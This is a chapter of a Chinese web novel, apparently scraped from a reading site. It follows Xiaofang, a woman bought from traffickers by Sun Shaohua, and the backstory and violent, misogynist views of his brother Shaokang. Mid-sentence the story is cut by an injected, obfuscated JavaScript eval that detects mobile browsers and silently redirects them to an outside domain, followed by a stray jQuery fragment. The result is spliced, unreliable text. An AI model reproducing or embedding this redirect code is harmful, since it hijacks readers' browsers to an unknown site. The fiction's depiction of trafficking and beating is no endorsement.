默认冷灰
24号文字
方正启体

17. 孙少康

作者:1luv本书字数:K更新时间:
    小芳到这里七天了,除去刚来时睡死那两天,她已经清醒地过了五天了,这五天有一辈子那么长,她每天至少睡十二三个钟头,但仍然嫌时间走得太慢。


    在这里她的一天是以孙少华做的三顿饭来划分的,每吃一顿就代表她一天醒着的时间又过去了三分之一,但往往是上顿还没消化完,下顿的饭孙少华已经做好了。


    饭没少吃,运动量又少,她照镜子都觉得自己圆润了些,不行,照这样下去四个半月后,怕是胖得跑起来腿脚都不利索了。


    于是小芳便改为一天两顿,每顿只吃之前的一半那么多。


    孙少华劝她多吃点,小芳说:“干什么?喂肥了你过年当猪宰啊?”


    孙少华说:“干嘛骂自己?”


    “我他妈是在骂你!你家穷得就只剩下这三间屋了,我替你节约粮食不行?每天省点,给你省出个老婆来,我就可以回我的伍家村了!”


    她现在就是闹着要走,也不再会说回广州了,孙少华听不得广州两个字,这点分寸她还是有的,兔子急了还会叫人,更别提孙少华这头骡子了。


    小芳从来都是想刺激谁又怕刺激到要害处对方翻脸时,她便会灵敏地在对方神经边缘处刺激。


    “我不要其他老婆,”孙少华把她望得痴痴的,“我就要你。”


    小芳被他那种痴汉神态膈应得想吐,然后她真跑到外面呕吐了。


    孙少华追着跑出去说:“你咋了?身体不舒服?我带你到县城医院去看看。”


    他眼睛里流露出许多关切来,多到让小芳感到更多的恶心,她不需要这些假情假意的关切,难道他没有伤害到自己吗?真要关心,那就放自己走啊!


    她正吐得五脏六腑搅成滩浆糊,孙少华见她难受,又把一双大掌放到她背上撸猫似的给她顺。


    “滚开!”她抹一把嘴角推开他。


    “你要生气打我就行了,别拿自己身体出气。”孙少华以他的男性思维给小芳提出消气的建议,每次施工队上的男人脾气上来时就是这样发泄的。


    “打你?”小芳一时竟哭笑不得,“打你还不是打到我自己身上!”


    他显然是把小芳这句话给理解错了,他那脸孩子般受夸的甜蜜笑容正逐次绽放的时候,小芳出声给他收住了,“你想什么呢?我是说你这身板砖肉,打在你身上,我自己手痛,我他爷爷的是心疼我自己,跟你有个屁毛关系?你以为我跟你玩‘打在你身,痛在我心’那套?”


    于是孙少华的笑容便凝固住了,凝固成一朵被风干的花蕾,他心里好失望啊,他以为女人真就跟世上大多数事一个道理,只要你有耐心,天长地久总会水滴石穿的,但他错了,女人可不吃那套,要让女人打心底接受你,靠的还是感觉。


    “走开!”小芳吼一声,她见不惯孙少华脸上的讨好、关爱,还有此刻因自己不留情的打断而导致的失落,她也是见不惯。


    小芳跑回屋子里,拖过被子蒙头蒙脑地强迫自己睡一觉。


    睡觉成为眼下小芳唯一能做的事。


    只有熟睡能对现实无知觉时,她的精神才能短暂地逃离这片让她望不到头的黄土黄山,过去她以为山和山能有多大差别呢?都是矗立在那儿,顶天立地、天经地义地不让山里人走出去,来了这里她才明白山与山也是有天差地别的,伍家村的青山不知比这里美多少倍。


    她做梦也不再是关于广州了,而是伍家村,她还没意识到虽然她清醒时都在告诫自己,逃离这里就是为了奔去广州,她的尊严和骄傲让她强迫自己必须在哪里跌倒就在哪里站起,但内心最渴望的还是伍家村,伍家村的伍小芳才不是像在外面的伍小芳这样憋屈窝囊,连人身自由都被不由己。


    睡梦里她被一阵“隆隆”声吵醒,梦里正梦到小时候在伍家村那条绿水河里和小三、玲玲一起捉鱼,小三儿三两下把鱼解剖完,鱼还在他手里垂死挣扎做着最后抵抗,小芳就被这声音强制拉回到无力反抗的现实里了。


    她猛地就冲出屋外去,还没见到人就劈头盖脸骂起来:“要不要人挺尸了?!大白天的扳命啊!”


    她那口伍家村的方言,“挺尸”和“扳命”都是让人搞不懂的,院子里有人不求甚解地问:“你在说什么?”


    听声音不是孙少华,态度更不是孙少华,孙少华从不敢在她睡熟时弄出吵人的动静来。


    “我说老娘大白天还在睡觉,你来把我吵醒了!”小芳走到堂屋门口了。


    那人跨进门,见到她也不收势地回怼道:“你也知道是大白天?你猪啊?!”


    她看清了他的五官和孙少华有相似之处,但没孙少华那种劳动畜生似的忠厚感,眉目间有很锐利的邪性。


    “你谁啊?”她已经大致猜到他是谁了。


    “这是少康。”孙少华从厨房出来说,看那样是正在做晚饭。


    她就知道是傻骡子的老弟。


    “我不吃饭了,”小芳朝孙少华说,“别来叫我,叫我我也不吃。”


    孙少华正要开口劝:“你还是......”


    “闭嘴!”小芳和孙少康同时向他吼道,又互相剜了彼此一眼。


    小芳骂完就进屋了,摔门的动静房子都跟着往上窜了窜。


    傻骡子的弟弟脾气有点暴躁,听傻骡子那天跟他讲家里事,她就了解了,但那又怎样?有种他妈的就一刀把我结果了呀!只要他不心疼他哥出的两万块!


    小芳的“闭嘴”,是嫌孙少华婆妈得惹他心烦,管她人身自由就行了,怎么还吃喝拉撒都伸手了?


    孙少康的“闭嘴”,则是恨铁不成地嫌他大哥脓包,花钱买回来的女人还跟供宝贝似的。


    他在县城这几天就晓得家里来了个女人了,他大哥亲自上广州看了一趟买回来的,回来时钟意得不得了,等的那几天在家里茶饭不思的傻愣。


    孙少康对女人才没他哥这副痴样,他觉得女人都不是什么好东西,那金桔就是典型,在县城的施工队干上之后,他就跟队里老少爷儿们混熟了,那些人除了抽烟喝酒就爱嘴里拿女人开油荤。


    金桔的事那群男人也添油加醋地告诉了孙少康,金桔和城里教书的姓郭的老师发生了次一夜|情,但两个人对此事的认知出现了天壤般的误会。


    金桔认为这是私定终身,姓郭的假文人却认为这不过是一场你情我愿的肉|体替代语言的交流罢了。


    那晚之后又过了快一个月,金桔跑到学校去找姓郭的,姓郭的险些没把这个哭得双眼肿得只剩一条缝的女人认出来。


    两个人便在学校的亭子下见面。


    姓郭的看她像看一团麻烦,“你来干什么?”他用怕麻烦的口气问道。


    “郭大哥!”金桔一声郭大哥喊得十足像港版《射雕英雄传》里的黄蓉叫的“靖哥哥”。


    “怎么了?”姓郭的却没把金桔当做蓉儿来柔情对待。


    “我们那晚......”


    “我们那晚怎么了?”他一脸是“你别赖上我”。


    他们那晚怎么了,金桔一个老实本分的乡镇女孩还真没脸皮青天白日地说出口。


    那晚姓郭的到底把她怎么了,她只记得两个人在县城一家最新开的吃西菜的饭店,吃了一顿很风花雪月的饭菜,虽然这西菜的原材料全用的中式的,还是县城南边菜场的,虽然这顿饭最后结账还是金桔结的,但在金桔心中仍然是浪漫、多情的。


    飘逸清俊的郭老师本人就是一个浪漫的符号形象,虽然这符号形象是他乱七八糟,东拼西凑出来的,但不妨碍他是整个县城不少女孩子的痴心妄想。


    他们那晚,金桔只记得,在一家干净的宾馆房间里,她听郭老师诉说了生活、工作上诸多的不如意,他说这里和他上大专的城市又二十年都追不上的鸿沟;他说这里的一切都是落后的,思想也是,这里的姑娘穿的流行服装至少晚了内地一年不止,而把过气的时髦当时髦,比土气本身还要土气百倍,而思想的落后比穿扮上的落后更难以弥合。


    郭老师说,县城里的这些女孩,失去本来面目地去模仿内地女孩,却模仿得面目全非,简直是丢了西瓜拣芝麻。


    金桔正在反思自己是不是郭老师嘴里的那种女孩时,郭老师却赞美她了,他说金桔身上有这片土地最原始的一切,他把金桔年轻女孩的优美曲线形容成这片黄土地的山峰沟壑,他也像攀登山峰那样,攀登上了金桔,下临沟壑那样,俯首在金桔的脖颈间,一切都发生得那样自然,没有任何的胁迫与威逼。


    等金桔第二天醒来,床的另一边早空了,她羞涩又满足地给自己洗了个澡,准备离店时,被前台人员叫住,对方说:“房费还没有付。”


    金桔把钱付了,却没察觉到前台人员看她的眼神是又可怜她又轻视她。


    “我们那晚,你说了你爱我呀!”金桔动容得像在说一段山盟海誓,她也的确把郭老师批发的情话当山盟海誓了。


    “我说了?”意思是:我说了你也别当真。


    “对啊,你说你爱我就像爱这片土地!”金桔把那晚郭老师如演讲般动情的情话说得比郭老师当时还动情,因为她对他是真动情了。


    “胡扯!”郭老师说,“我他妈从来就没爱过这片土地!这里有什么?你告诉我?除了七天七夜也走不出去的黄土还有什么?你告诉我!”


    什么?金桔脑子里闪过一声像上等丝绸被“嘶拉”划破的声音,他不爱这片土地?那么他也不爱像这片土地的自己?


    金桔一双小鹿般的浓睫大眼死盯着看此刻还在喋喋不休控诉着这里的落后、愚昧和不开化的郭老师。


    他已经把找上门来要说法的金桔当做他激情演讲的观众了,金桔不知道这世上是有一种人,他们有着表演型人格,走到哪里都可以现成的场地、人物当舞台,当观众。


    郭老师一身亮堂的白衬衫,胸口袋上还插只钢笔,擦得贼亮的金丝边眼睛,这些全是他文人形象的所需配件儿,离了这些这个人其实什么都不是。


    对于女人,他除了巧言令色,其余什么也给不了。


    金桔像所有受过伤的女人那样,一瞬间就看穿了一个男人,她走上前“啪”地给了他一记响亮耳光,然后金桔说:“我就当我那晚被疯狗咬了!”


    金桔回去后,不吃不喝把自己锁进屋里整整两天,老两口怎么也撬不开女儿的嘴,就在那时候,她甚至“自甘堕落”地想,孙少华就孙少华吧,至少那人憨厚纯良,她当然不是爱他的憨厚纯良,但她可以和他的憨厚纯良过日子。


    晚上她就把她妈放进房间了,决定要嫁给孙少华了,经过了郭老师给她上的这一课,她已经懂得了男女关系的真谛:那就是“实惠”,吃苦能干,嘴笨平实。


    孙少华没有能让她心动的点,但孙少华有能让她把日子过下去的点。


    金桔妈听了,骂道:“你疯啊!你要过去当牛做马给人家又当嫂子又当妈?!”


    金桔妈不顾女儿正难受,就把那天孙少华上门的事一口气、真实夸张混杂地全讲了。


    金桔“哇”地一声痛哭出来,把她妈吓一跳。


    她内心绝望地想,孙少华居然也是个不实惠的男人,原来她身边的每个男人都只想剥削她!


    很快,金桔妈在摸清楚女儿真正想要的男人是什么样了,就给女儿搭上线了,县城里的胡家二儿子,比金桔大十二岁,去年死了老婆,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630280|172515||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只有个女儿。


    即将二婚的胡老二对第二任妻子的要求也不会像第一任那样严格把关了,再说小他十二岁的女孩进他家来当继室、做后母,要论吃亏也是人家大姑娘。


    两个人第一次面,胡老二就被金桔年轻却饱含世故的风情给征服了,她的年轻属于二十不到的姑娘,但她的世故又是只有三十岁的女人才能拥有的,这种矛盾让胡老二当场把婚事敲定了,都当爹的男人了,哪来的体力和兴致陪小姑娘玩爱情游戏?


    日子是越快越好,三个月后,金桔和胡老二就结婚了。


    孙少康听完工友们说,心里全是邪火,但他又不能再去找金家和胡家的麻烦。


    再说将心比心他觉得金桔的选择也没错,他哥那种脾气,要不是他亲哥,他都想说做男人做成这样白瞎了那条根。


    胸膛那股邪火经久不消,很快他就找上骗子郭老师了,也不算他主动找上,是一次进店买烟时,他和姓郭的恰巧肩膀撞上了——也不知为什么,男人的肩膀老这样撞上,撞之后要么成兄弟,要么成仇人。


    孙少康一身沾了灰的工服,碰到郭老师万年不变的白衬衣给他上了点色,郭老师也没说话,只是面露嫌弃地拍了拍,他便找碴给人扣帽子,带点咬文嚼字地扣:“怎么?看不起工人阶级啊?”


    郭老师哂笑了下,工人阶级?这个看着不满二十的小子能理解工人阶级的含义吗?


    “你知道马克思、恩格斯、列宁和斯大林吗?就在这里妄谈工人阶级?”


    孙少康说:“你每天不吃饭?不拉屎?你知道米是怎么种的?屎又是怎么拉的?拉出来还能拿到菜地里去浇,供你再吃饱一顿?”


    “我请你嘴巴放干净一点。”郭老师觉得自己和他一雅一俗的争论完全是鸡同鸭讲。


    孙少康不管这些,他当街骂道:“老子嘴就是脏,我是从我妈X里出来的,生下来就是脏的,你不是从你妈X里出来的?哦,你是从你妈后面那个盛屎的洞里出来的,是不是?那你该比我更脏!怪不得净干脏事,哄这镇上县城里的女人陪你睡觉,还他妈的讲一堆废屁话把人绕晕了再睡,你那根玩意儿不好使啊?还要跟机器一样用前需要预热会儿?”


    说完一把就揪住了郭老师的衣领。


    这场面郭老师很吃亏,孙少康身边全是他那群只荤不素的工友,当下个个都拿郭老师的艳事来过嘴瘾,开胃口。


    孙少康的势头让郭老师嗅到了一丝危险气息,他胆怯了,秀才遇到兵,没有道理可讲,自己千万不能和他动手,打赢了他,旁边那群要是不服气跟着上了就成车轮战了,打不赢也不行,虽然文人斗殴很丢人,但斗殴失败的文人更丢人,以后他还怎么在这县城里混?


    郭老师轻轻拍了拍孙少康攥住他衣领的手,好态度地说:“大街上动什么手?你来说说你认为今天我哪里做错了?”


    孙少康想果然是当老师的,好会狡辩,“你今天当然没错,老子就不能因为你以前犯的错打你?”


    “我以前犯了什么错?我可不认识你!”孙老师找到理了。


    “你认识金桔你就该认识我,我的嫂子你也敢来乱睡!老子不打你打谁?”


    说完,孙少康的拳头打桩似的朝郭老师身上狠砸去,拳拳到肉,又拳拳避开要害。


    他揍人把自己揍得汗流浃背后才招呼着工友们离开的。


    郭老师没报警,不是他认为自己有错在先,是他认为孙少康那德行就像学校里的小霸王那样,被他欺负的人越是告状,他越是欺负得狠厉。


    他就这样吃了一记闷亏。


    可这年头不知究竟流行什么,孙少康再把郭老师揍了一顿后,在县城里出了一次不小的风头,就这次风头让他获得了不少女孩子们的青睐。


    但越是上赶着对他表达喜欢的女孩,他越是烦,越是没好态度,这些女人和当初喜欢郭老混蛋的有什么分别?热脸专贴冷屁|股,越是对她们高高在上的男人,她们越是要把自己送上去供人糟蹋。


    就抱着这样对女人的偏见,他就赤条条地一根光棍打到二十六岁。


    二十六岁再想找到适龄的女人结婚就困难了,要么不挑找死了男人的,要么找年纪更大的,他就是往下找,人家看他家里条件,也不愿意上赶着去找罪受。


    孙少康和孙少华两兄弟当工人挣得还不错,平日开销也不大,但顶不住有个祖坟冒青烟出来的小弟需要供。


    小弟孙少东还真出息到像孙少华当年在金家说得那样,书一路念上去,念到河北读军校,河北,离北京多近啊!


    有了小弟,他更没把自己那点事放心头了,但大哥他是放心窝窝里的,三十的男人了,连女人都没碰过,他先替大哥难受起来。


    于是听见一个施工队的工友说他的弟媳妇就是花一万块找人fan子从贵州掳过来的,可贤惠了。


    孙少康回去也跟他哥商量了下,起先他哥还不干,还是他说这里的规矩是老大结婚,后面小的才能跟着结,才把孙少康劝动的。


    就位这样,他哥还人生头一次出了趟远门,走得好远,坐车都要三四天,是在广州,一座繁华得能登上电视报纸的城市。


    就那趟回来,他哥跟被人下了药一样,还跟自己借了一万块,凑齐两万交给人fan子。


    啥样的女人值两万?县城里两万的彩礼能娶个多好的姑娘?


    孙少康想不明白,还是骂骂咧咧地把钱借了,大哥还有模有样地给他打了张借条,他也不晓得扔哪里去了。


    今天他就瞧见了那个女人,他更觉得他哥是反过来给人fan子骗了,这样蛮横不知好歹的女人需要花两万?两拳头就给她揍乖顺了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)